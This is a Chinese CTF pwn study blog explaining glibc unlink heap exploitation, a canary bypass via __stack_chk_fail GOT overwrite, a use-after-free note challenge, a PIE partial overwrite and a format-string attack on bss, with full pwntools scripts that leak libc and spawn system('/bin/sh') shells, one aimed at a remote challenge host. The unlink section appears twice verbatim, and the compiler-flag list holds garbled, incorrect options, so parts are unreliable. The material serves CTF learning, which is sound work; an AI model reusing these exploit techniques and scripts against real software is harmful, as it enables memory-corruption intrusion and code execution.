确定相邻低地址堆是否为空闲堆看的是size的最后一位p,如果它为0时,表示上一个堆是空闲的,那就可以进行合并,两个堆要进行合并,那得知道这个合并的堆的物理地址才行,电脑并不能像人类一样肉眼就知道上一个堆的物理地址在那,他是通过这个堆的prev_size的大小确定的,prev_size是堆的前八个字节,如果p为0的话,那就记录这上个相邻堆的大小,当前堆地址减去prev_size就是上个堆的地址。

通过p和prev_size知道上个堆是空闲的且确定了堆的地址,那就可以对上一个堆进行ublink操作了。

image-20211112002946764

就是链表操作,链表上p的下一个chunk是p->fd,上一个chunk是p->bk,操作目的就是把这个两个chunk连起来

令FD=p->fd,BK=p->bk

然后令FD->bk=BK;BK->fd=FD;

就把p摘下来了,仔细看起来并没有什么漏洞,ok,本文完

苦笑,就是看起来没有漏洞所以利用起来的时候就很麻烦,如果我们在将要free掉的chunk前面fake一个chunk的话,并且伪造成空闲的,那free的时候就会合并这个fakechunk,因为是我们伪造的,所以这个chunk的fd和bk都是可控的,然后就可以让他乱指了(并不是。

先假设unlink没有限制条件,用他来完成任一地址写,假设任意写的地址为addr,要写的内容为value,令p->fd=addr-0x18,BK=value,那unlink执行FD->bk=BK是就是*(addr-0x18+0x18)=value,就完成任意写了。

怎么可能这么简单,这是古老版本unlink的执行过程,现在的ublink都设置了限制条件,即FD->bk=p&BK->fd,如果不相等就会执行错误,这样就又看似无法利用漏洞了,但道高一尺魔高一丈,我们可以利用这个机制完成一个目标,即令储存chunk地址的指针指向这个指针的前三个位置处,比如储存chunk的指令是这样排布的,m,n,b,v,我们要ublink掉b的话,就可以让b指向m,也就是前十八个字节(64位系统),*(b)=&m,这样就会让堆指针没指到堆了。

出了上面的那个限制条件,unlink还有另一个限制条件

1
2
3
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");

就是要unlink的堆的大小被两个地方记录,一个是自身的size另一个下一个物理相邻堆的prev_size,他会检查这个两个地方是否相等,所以伪造堆的时候还得构造prev_size,prev_size的地址就是当前堆加上自己的size就是下一个堆的地址,也是prev-size的地址。只要使(p+size)=size就行。

至于怎么完成这个目标,我觉得挺巧妙的,就是直接令FD->bk和BK->fd都指向p堆的指针,所以fd和bk不是储存p堆的地址,而是储存p堆指针的地址,令储存p堆的指针为m,这样执行FD->bk=BK;BK->fd=FD;就是这个样子

FD->bk=m=BK=(&m-0x10);;BK->fd=m=(&m-0x18)
最后m=(&m-0x18).再对p堆写入数据时,实际上就向&m-0x18处写入数据。okok,大工搞成(我觉得我讲的挺明白的了)

贴下wiki的例题stkof脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level='debug'
sh=process('./stkof')
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
p=0x602140+16
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')

def edit(index,le,content):
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(le))
sh.send(content)
sh.recvuntil('OK\n')

def free(index):
sh.sendline('3')
sh.sendline(str(index))


alloc(0x100)
#index=2
alloc(0x30)
#index=3
alloc(0x80)
#fake chunk
payload=p64(0)+p64(0x20)+p64(p-0x18)+p64(p-0x10)+p64(0x20)
payload=payload.ljust(0x30,'a')
payload+=p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
#unlink
free(3)
sh.recvuntil('OK\n')
payload1='a'*0x8+p64(elf.got['free'])+p64(elf.got['puts'])
payload1+=p64(elf.got['atoi'])

edit(2,len(payload1),payload1)

payload2=p64(elf.plt['puts'])
edit(0,len(payload2),payload2)
free(1)
puts_addr=u64(sh.recv().split('\n')[0].ljust(8,'\x00'))
print hex(puts_addr)
libc_base=puts_addr-libc.symbols['puts']
system=libc_base+libc.symbols['system']
binsh_addr=binsh_addr = libc_base + next(libc.search('/bin/sh'))
payload3=p64(system)
edit(2,len(payload3),payload3)
sh.send(p64(binsh_addr))
sh.interactive()

下面是note2的脚本,和上面的例题差不多,都是绕过两个条件就行。布置好堆的情况就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
sh=process('./note2')
context.log_level='debug'
elf=ELF('./note2')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
head=0x602120
#gdb.attach(sh,'b *0x400F6C')
def init(name,addr):
sh.recvuntil('Input your name:')
sh.sendline(name)
sh.recvuntil('Input your address:')
sh.sendline(str(addr))
def alloc(size,content):
sh.sendline('1')
sh.recvuntil('Input the length of the note content:(less than 128)')
sh.sendline(str(size))
sh.recvuntil('Input the note content:')
sh.sendline(content)

def show(index):
sh.sendline('2')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))

def edit(index,choice,content):
sh.sendline('3')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))
sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]')
sh.sendline(str(choice))
sh.recvuntil('TheNewContents:')
sh.sendline(content)
sh.recvuntil('Edit note success!')

def free(index):
sh.sendline('4')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))

init('rootzh',0x12)
payload='a'*0x8+p64(0xa1)+p64(head-0x18)+p64(head-0x10)+'a'*0x60
alloc(0x80,payload)
alloc(0,'bbbbb')
alloc(0x80,'ccccc')
free(1)
payload1='a'*0x10+p64(0xa0)+p64(0x90)
alloc(0,payload1)
free(2)
payload2='a'*0x18+p64(elf.got['atoi'])
edit(0,1,payload2)
show(0)
sh.recvuntil('Content is ')
atoi_addr=u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
print hex(atoi_addr)
libc_base=atoi_addr-libc.symbols['atoi']
print hex(libc_base)
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search('/bin/sh'))
payload3=p64(system)
print hex(system)
edit(0,1,payload3)
sh.recvuntil('option--->>')
sh.sendline(p64(binsh))
sh.interactive()

unlink利用

简单的讲就是把空闲的chunk合并,(如果真是这么简单就好了,苦笑)

unlink是一个函数,当一个chunk被free后,他会检测这个chunk上的物理相邻地址,如果空闲的话两个chunk就会合并,注意要释放的这个chunk大小得超过fastbins的大小(0x80)

确定相邻低地址堆是否为空闲堆看的是size的最后一位p,如果它为0时,表示上一个堆是空闲的,那就可以进行合并,两个堆要进行合并,那得知道这个合并的堆的物理地址才行,电脑并不能像人类一样肉眼就知道上一个堆的物理地址在那,他是通过这个堆的prev_size的大小确定的,prev_size是堆的前八个字节,如果p为0的话,那就记录这上个相邻堆的大小,当前堆地址减去prev_size就是上个堆的地址。

通过p和prev_size知道上个堆是空闲的且确定了堆的地址,那就可以对上一个堆进行ublink操作了。

image-20211112002946764

就是链表操作,链表上p的下一个chunk是p->fd,上一个chunk是p->bk,操作目的就是把这个两个chunk连起来

令FD=p->fd,BK=p->bk

然后令FD->bk=BK;BK->fd=FD;

就把p摘下来了,仔细看起来并没有什么漏洞,ok,本文完

苦笑,就是看起来没有漏洞所以利用起来的时候就很麻烦,如果我们在将要free掉的chunk前面fake一个chunk的话,并且伪造成空闲的,那free的时候就会合并这个fakechunk,因为是我们伪造的,所以这个chunk的fd和bk都是可控的,然后就可以让他乱指了(并不是。

先假设unlink没有限制条件,用他来完成任一地址写,假设任意写的地址为addr,要写的内容为value,令p->fd=addr-0x18,BK=value,那unlink执行FD->bk=BK是就是*(addr-0x18+0x18)=value,就完成任意写了。

怎么可能这么简单,这是古老版本unlink的执行过程,现在的ublink都设置了限制条件,即FD->bk=p&BK->fd,如果不相等就会执行错误,这样就又看似无法利用漏洞了,但道高一尺魔高一丈,我们可以利用这个机制完成一个目标,即令储存chunk地址的指针指向这个指针的前三个位置处,比如储存chunk的指令是这样排布的,m,n,b,v,我们要ublink掉b的话,就可以让b指向m,也就是前十八个字节(64位系统),*(b)=&m,这样就会让堆指针没指到堆了。

出了上面的那个限制条件,unlink还有另一个限制条件

1
2
3
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");

就是要unlink的堆的大小被两个地方记录,一个是自身的size另一个下一个物理相邻堆的prev_size,他会检查这个两个地方是否相等,所以伪造堆的时候还得构造prev_size,prev_size的地址就是当前堆加上自己的size就是下一个堆的地址,也是prev-size的地址。只要使(p+size)=size就行。

至于怎么完成这个目标,我觉得挺巧妙的,就是直接令FD->bk和BK->fd都指向p堆的指针,所以fd和bk不是储存p堆的地址,而是储存p堆指针的地址,令储存p堆的指针为m,这样执行FD->bk=BK;BK->fd=FD;就是这个样子

FD->bk=m=BK=(&m-0x10);;BK->fd=m=(&m-0x18)
最后m=(&m-0x18).再对p堆写入数据时,实际上就向&m-0x18处写入数据。okok,大工搞成(我觉得我讲的挺明白的了)

贴下wiki的例题stkof脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level='debug'
sh=process('./stkof')
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
p=0x602140+16
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')

def edit(index,le,content):
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(le))
sh.send(content)
sh.recvuntil('OK\n')

def free(index):
sh.sendline('3')
sh.sendline(str(index))


alloc(0x100)
#index=2
alloc(0x30)
#index=3
alloc(0x80)
#fake chunk
payload=p64(0)+p64(0x20)+p64(p-0x18)+p64(p-0x10)+p64(0x20)
payload=payload.ljust(0x30,'a')
payload+=p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
#unlink
free(3)
sh.recvuntil('OK\n')
payload1='a'*0x8+p64(elf.got['free'])+p64(elf.got['puts'])
payload1+=p64(elf.got['atoi'])

edit(2,len(payload1),payload1)

payload2=p64(elf.plt['puts'])
edit(0,len(payload2),payload2)
free(1)
puts_addr=u64(sh.recv().split('\n')[0].ljust(8,'\x00'))
print hex(puts_addr)
libc_base=puts_addr-libc.symbols['puts']
system=libc_base+libc.symbols['system']
binsh_addr=binsh_addr = libc_base + next(libc.search('/bin/sh'))
payload3=p64(system)
edit(2,len(payload3),payload3)
sh.send(p64(binsh_addr))
sh.interactive()

下面是note2的脚本,和上面的例题差不多,都是绕过两个条件就行。布置好堆的情况就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
sh=process('./note2')
context.log_level='debug'
elf=ELF('./note2')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
head=0x602120
#gdb.attach(sh,'b *0x400F6C')
def init(name,addr):
sh.recvuntil('Input your name:')
sh.sendline(name)
sh.recvuntil('Input your address:')
sh.sendline(str(addr))
def alloc(size,content):
sh.sendline('1')
sh.recvuntil('Input the length of the note content:(less than 128)')
sh.sendline(str(size))
sh.recvuntil('Input the note content:')
sh.sendline(content)

def show(index):
sh.sendline('2')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))

def edit(index,choice,content):
sh.sendline('3')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))
sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]')
sh.sendline(str(choice))
sh.recvuntil('TheNewContents:')
sh.sendline(content)
sh.recvuntil('Edit note success!')

def free(index):
sh.sendline('4')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))

init('rootzh',0x12)
payload='a'*0x8+p64(0xa1)+p64(head-0x18)+p64(head-0x10)+'a'*0x60
alloc(0x80,payload)
alloc(0,'bbbbb')
alloc(0x80,'ccccc')
free(1)
payload1='a'*0x10+p64(0xa0)+p64(0x90)
alloc(0,payload1)
free(2)
payload2='a'*0x18+p64(elf.got['atoi'])
edit(0,1,payload2)
show(0)
sh.recvuntil('Content is ')
atoi_addr=u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
print hex(atoi_addr)
libc_base=atoi_addr-libc.symbols['atoi']
print hex(libc_base)
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search('/bin/sh'))
payload3=p64(system)
print hex(system)
edit(0,1,payload3)
sh.recvuntil('option--->>')
sh.sendline(p64(binsh))
sh.interactive()

__stack_chk_fail绕过canary

canary是保护栈的机制,会随机产生一个数放在栈底前四个字节或者前八个字节,在函数结束时会检查这个数是否改变,如果改变的话会触发__stack_chk_fail函数,打印arg[0]参数。然后强制退出,注意_stack_chk_fail函数不是在原函数退出后再执行,而是在函数执行leave指令时call_stack_chk_fail,栈的结构长这个样子

image-20211108233117754

执行_stack_chk_fial函数后直接退出程序,根本来不及执行在返回地址构造的rop,这也是一般防止栈溢出的方法

目前我知道的可以绕过的两种办法一个是任意读,一个是任意写,下面要举例的就是任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-114h]
char v5[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-8h]

v6 = __readfsqword(0x28u);
sub_400766(a1, a2, a3);
puts("^_^");
while ( 1 )
{
while ( 1 )
{
puts("your choice");
v4 = sub_4007C7();
if ( v4 )
break;
sub_40086C();
}
if ( v4 != 1 )
break;
sub_4008BB(v5);
}
return 0LL;
}


int sub_4007C7()
{
char buf; // [rsp+7h] [rbp-29h] BYREF
int i; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
v3 = read(0, &buf, 1uLL);
if ( v3 <= 0 )
{
puts("error");
exit(0);
}
if ( buf == 10 )
{
nptr[i] = 0;
return atoi(nptr);
}
nptr[i] = buf;
}
return atoi(nptr);
}

逻辑比较简单,可以两个主要功能是栈溢出和任意写,绕过canary要怎么利用_stack_chk_fail呢,这道题主要利用修改_stack_chk_fail的got表,让执行这个函数时跳到我们构造的指令上,就可以避免程序退出了,主要是不让程序退出,所以覆盖got表时可以是gadget或者一个普通函数,我本来是选择覆盖成一个普通函数的,但是一直覆盖不成功,很折磨,知道看到了佬的wp才发现自己有多愚蠢。

这个程序接收任意写地址时是接收整数字符串的,所以得把地址转换成十进制输入,我是先把他转化成十进制,然后输出的,但其实str(地址)就行,这样就会自动把十六进制转化成十进制然后输出,然后是要覆盖的值,这个是通过read接受的,他是直接接收字符,然后把字节转化成对应的十六进制储存,也可以直接接收\x的形式,我们要输入地址,直接\x输出就行,但当时受上面的输出影响,也直接输出十进制整数字符串了,最后转化后的十六进制数肯定不是我们想要的。

总结:要注意程序接收数据时的形式,根据他的形式输出对应的值

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level='debug'
sh=process('./pwn1')
elf=ELF('./pwn1')
libc=elf.libc
pop3_ret=0x4009ff
pop_rdi=0x400a03
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
__stack_fail=elf.got['__stack_chk_fail']
sh.recvuntil('your choice')
sh.sendline('0')
sh.recvuntil('address:\n')
sh.sendline(str(__stack_fail))
sh.recvuntil('content:\n')
sh.send(p64(pop3_ret))
sh.recvuntil('your choice')
sh.sendline(str(1))
sh.recvuntil('size:')
sh.sendline('311')
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x40090B)+'a'*(0x110-0x8*3)
sh.recvuntil('content:\n')
sh.sendline(payload)
sh.recvuntil('your choice')
sh.sendline('2')
sh.recvline()
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc.address=puts_addr-libc.sym['puts']
payload1=p64(pop_rdi)+p64(next(libc.search("/bin/sh")))+p64(libc.sym['system'])+'a'*(0x110-0x8*3)
sh.recvuntil('your choice')
sh.sendline(str(1))
sh.recvuntil('size:')
sh.sendline('311')
sh.sendline(payload1)
sh.sendline('2')
sh.interactive()

我是最后覆盖成pop3地址,然后执行我的rop的,佬是覆盖成ret的,但原理差不多。

开始堆学习

ufa

原理(自己理解):当一个堆指针被free时,这个堆就进入bin回收站,如果不对这个指针进行null操作,这个指针还指向这个堆,也就是说这个指针还能用

利用(自己的一点浅薄看法):堆利用就是通过各种办法让两个指针指向同一块堆,其中一个指针还可以对这个堆进行读取操作或者数据覆盖,以达到控制程序

就拿一个ufa入门题进行说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

int add_note()
{
int result; // eax
int v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]

result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = *((_DWORD *)&notelist + i);
if ( !result )
{
*((_DWORD *)&notelist + i) = malloc(8u);
if ( !*((_DWORD *)&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v1 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
puts("Success !");
return ++count;
}
}
return result;
}

int del_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)&notelist + v2);
if ( result )
{
free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
free(*((void **)&notelist + v2));
result = puts("Success");
}
return result;
}

int print_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)&notelist + v2);
if ( result )
result = (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));
return result;
}

这是这个程序的大概流程,有三个功能,一个是申请堆,一个是释放堆,一个是读取堆内容,在申请堆的时候会进行两次malloc操作,第一次是申请一个结构体的堆空间,这个结构体一共有8个字节,前四个字节是一个变量,储存着一个函数地址,然后再申请一个堆空间存放内容,结构体的后四个字节存放第二个堆空间的地址,这个结构体堆的指针存放在一个数组中。

我们先申请两个note,大小放大一点,避免回收时和note的堆放入同一个fastbin的链表,我们先申请两个16字节的content堆

image-20211106171713893

这是申请的四个堆,第1,3是note,第2,4是content,查看一下内存空间,(chunk包括chunkhead和chunkcontent,所以最后申请的堆的大小是这两个之和)

image-20211106171813815

前八个字节是head,后面是内容,发现刚好对的上,这个时候把这两个note给free掉

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bins
fastbins
0x10: 0x804b028 —▸ 0x804b000 ◂— 0x0
note[1] note[0]
0x18: 0x804b038 —▸ 0x804b010 ◂— 0x0
content[1] content[0]
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0

这是fastbins的内容,第一个链表储存着大小为0x10的堆,第二个链表储存着大小为0x20的堆,当有堆要分配时就在这里找,这时再控制程序分配一个0x8的chunk,,note[1]就会分配给noe[2],然后开始分配content,因为要分配的堆的实际大小是0x10,他就会在fastbins中储存着堆大小为0x10的链表中找可用堆,也就是第一个链表,这个时候链表还有note[0]指向的堆,就会把这个堆分配给content,这时note[2]->content和note[0]都指向这个堆,然后利用content覆盖put的地址为后门函数的地址。调用note[0]->puts是就调用了后门函数。

最后payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
sh=remote('node4.buuoj.cn',29803)
#sh=process('./hacknote')
def add_note(size,content):
sh.sendline('1')
sh.recvuntil('Note size :')
sh.send(str(size))
sh.recvuntil('Content :')
sh.sendline(content)
def printf_note(index):
sh.sendline('3')
sh.recvuntil('Index :')
sh.send(str(index))
def del_node(index):
sh.sendline('2')
sh.recvuntil('Index :')
sh.send(str(index))
add_note(16,'asdsd')
add_note(16,'asdasd')
del_node(0)
del_node(1)
add_note(8,p32(0x08048945))
printf_note(0)
sh.interactive()

栈上的Partial-Overwrite

原理:对于开了PIE保护的程序,每次的指令地址都是随机的,但是地址的最后十二位总是固定的,也就是ida对于的地址,我们只要修改最后十二位地址,就可以控制程序流程了,但是修改数据只能整字节修改,无法直接修改12位,所以一般都是直接修改两个字节,对于第十二位到第十六位就一个一个试,比如一个函数的地址是0x30a,我们想要程序跳到这里,可以这样构造/x0a/xy3,y属于0到f,一个一个试,总会对的。或者固定一个值,让程序连接多次,16分之一的概率。

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 sub_960()
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
puts("Input your Name:");
read(0, buf, 0x30uLL);
printf("Hello %s:\n", (const char *)buf);
read(0, buf, 0x60uLL);
return 0LL;
}

可以看见这个程序还有canary保护,read函数碰到\0会停止读取,我们只要一直覆盖到canary处就可以了,不过要加1,因为canary最后一个字节是\x00,也得把他覆盖掉才行。

最后payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
while 1:
try:
sh = remote('node4.buuoj.cn',29355)
#sh=process('./babypie')
sh.recvuntil('Input your Name:')
sh.send('a'*(0x28+1))
sh.recvuntil('a'*(0x28+1))
canary='\0'+sh.recvn(7)
sleep(0.3)
sh.send('a'*0x28+canary+'bbbbbbbb'+'\x3e\x0a')
sh.interactive()
except Exception as e:
sh.close()

循环的原因就是y不确定,所以假设为0,如果程序真为0就会控制成功,如果不成功就会再连接一次

顺便来补一个程序保护

Pwn保护说明

1.Arch:

说明程序的架构,位数,和是大端序还是小端序

2.RELR:

设置符号重定位表为只读或者在程序启动时就解析所有动态符号,从二建扫对got表的攻击

编译选项:关闭: -z morello 开启部分:-z lazy 开启全部:-z now

stack:

栈保护溢出

编译选项:关闭:-fon-stack-protector 开启:-fstack_protector-all

NX:

堆栈不可执行

编译选项:关闭-z execstack 开启:-z noexecstack

PIE:

内存地址随机化(linux下pie启动必须同时开始aslr)

编译选项:关闭 -no-pie 开启 -pie ifPIC

RWX:

bss段可执行

fmt_bss

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int do_fmt()
{
int result; // eax

while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}

可见是格式化字符串漏洞,但是别的题不一样的是我们接收字符的变量buf在bss段,也就是说我们写入的字符不在栈中,而在bss段,以往的做题套路就是把地址包含在字符串中输入,然后索引到这个地址,就可以改变这个地址对应内存的内容了,但是如果在bss段,把地址包含在字符串中输入的话,就无法定位到这个地址到参数的偏移量了,所以不能简单利用这个套路,看了两三篇博客后,逐渐搞懂了该怎么格式化字符串了。

格式化字符串的本质是$n这个特殊字符,一般构造是%c%k$n,k是偏移量,执行这个格式化字符串的结果就是在偏移量k处把输出的字符的个数填入,如果这个地方还储存这一个地址,他就把个数填入这个地址对应的内存中,就达成了数据覆盖。所以思路就是我们把想要覆盖数据的地址填入格式化字符串可以索引到的位置(叫做位置一),然后执行格式化字符串,索引到位置一,然后以位置一为跳板修改对应地址的值

这道题就是这个构造式的转化,shift+f12发现没有特殊函数和字符,也没法直接读取flag,也没有特殊函数可以把bss段变得可以执行,加上这个程序还有格式化漏洞,所以思路就是读取一个函数的真实地址,得到libc的基地址,然后得到system函数地址,利用格式化字符串的任意读写把system函数填入printf的got中,然后输入/bin/sh\x00执行system(‘/bin/sh\x00’)

这里我们选择读取prinf的真实地址,然后覆盖他的地址为system的地址,但是该如何完成呢,fmt_bss主要依靠两个ebp来完成

查看一下程序第一次执行printf函数时栈的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00:0000│ esp 0xffffcfc0 —▸ 0x804a060 (buf) ◂— jae    0x804a0c6 /* 0x73666473; 'sdfsd\n' */
01:0004│ 0xffffcfc4 —▸ 0x8048680 ◂— jno 0x80486f7 /* 'quit' */
02:0008│ 0xffffcfc8 ◂— 0x4
03:000c│ 0xffffcfcc —▸ 0x8048507 (do_fmt+12) ◂— add ebx, 0x1af9
04:0010│ 0xffffcfd0 —▸ 0x8048685 ◂— cmp eax, 0x3d3d3d3d /* '=====================' */
05:0014│ 0xffffcfd4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— add dword ptr [eax], eax
06:0018│ ebp 0xffffcfd8 —▸ 0xffffcfe8 —▸ 0xffffcff8 ◂— 0x0
07:001c│ 0xffffcfdc —▸ 0x80485ad (play+77) ◂— nop
pwndbg>
08:0020│ 0xffffcfe0 —▸ 0xf7fb5d60 (_IO_2_1_stdout_) ◂— xchg dword ptr [eax], ebp /* 0xfbad2887 */
09:0024│ 0xffffcfe4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— add dword ptr [eax], eax
0a:0028│ 0xffffcfe8 —▸ 0xffffcff8 ◂— 0x0
0b:002c│ 0xffffcfec —▸ 0x80485ea (main+55) ◂— nop
0c:0030│ 0xffffcff0 —▸ 0xffffd010 ◂— 0x1
0d:0034│ 0xffffcff4 ◂— 0x0
0e:0038│ 0xffffcff8 ◂— 0x0
0f:003c│ 0xffffcffc —▸ 0xf7e1a647 (__libc_start_main+247) ◂— add esp, 0x10

发现ebp处储存着下一个ebp的地址,我们把第一个ebp叫做ebp1,第二个ebp叫做ebp2,ebp下面的内存这种储存着一个地址,这个位置离参数的偏移为7,就叫做fmt7,ebp2的下一个内存中也储存这一个地址,相对于参数的偏移为11,就叫做fmt11

我们要得到printf的真实地址,就得先选择一个跳板来储存print@got的值,我们先查看一下printf@got的地址

0x804a010这是printfgot表的地址,得到地址就要写入栈中,现在得思考挑选哪个内存当跳板,对比栈上的内容发现,fmt7和fmt11储存的地址的前四个字节和printf的地址是一样的,只有后两个自己不一样,我们就可以选择他俩储存储存printfgot表地址,因为我们只要修改最后两个字节就可以了,我们暂时选择fmt7储存地址,fmt11后面有用。

但是无法直接修改fmt7上的值因为fmt7上原本也储存着地址,直接%c%7%n的话,就修改了fmt7上储存的地址对应的内存的数据了,而不是fmt7本身,无法直接就该得选择通过跳板来就该,即选择一个跳板储存fmt7的地址,通过这个跳板来修改fmt7的值,我们选择通过ebp1和ebp2联合配合来解决这个问题,ebp2本来储存的地址和fmt7的地址就最后一个字节不一样,我们可以把ebp2当做跳板来修改fmt7的值,但是同样的原因无法直接修改ebp2的内容,而ebp1储存着ebp2的地址我们可以通过ebp1为跳板修改ebp2的值。

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level='debug'
sh=process('./playfmt')
elf=ELF('./playfmt')
#gdb.attach(sh,"b *0x0804854F")
libc=elf.libc
print_got=elf.got['printf']
system_offset=libc.symbols['system']
printf_offset=libc.symbols['printf']
sh.recv()
sh.sendline('%6$x')
ebp2=int(sh.recv(),16)
fmt7=ebp2-0xc
ebp1=fmt7-0x4
fmt11=ebp2+0x4
#ebp2---fmt7
pay1='%'+str(fmt7&0xffff)+'c%6$hn'
sleep(0.3)
sh.sendline(pay1)

这时ebp2就指向了fmt7,然后以ebp2为跳板修改fmt7的值

1
2
3
4
#fmt7---printf@got
pay2='%'+str(print_got&0xffff)+'c%10$hn'
sleep(0.4)
sh.sendline(pay2)

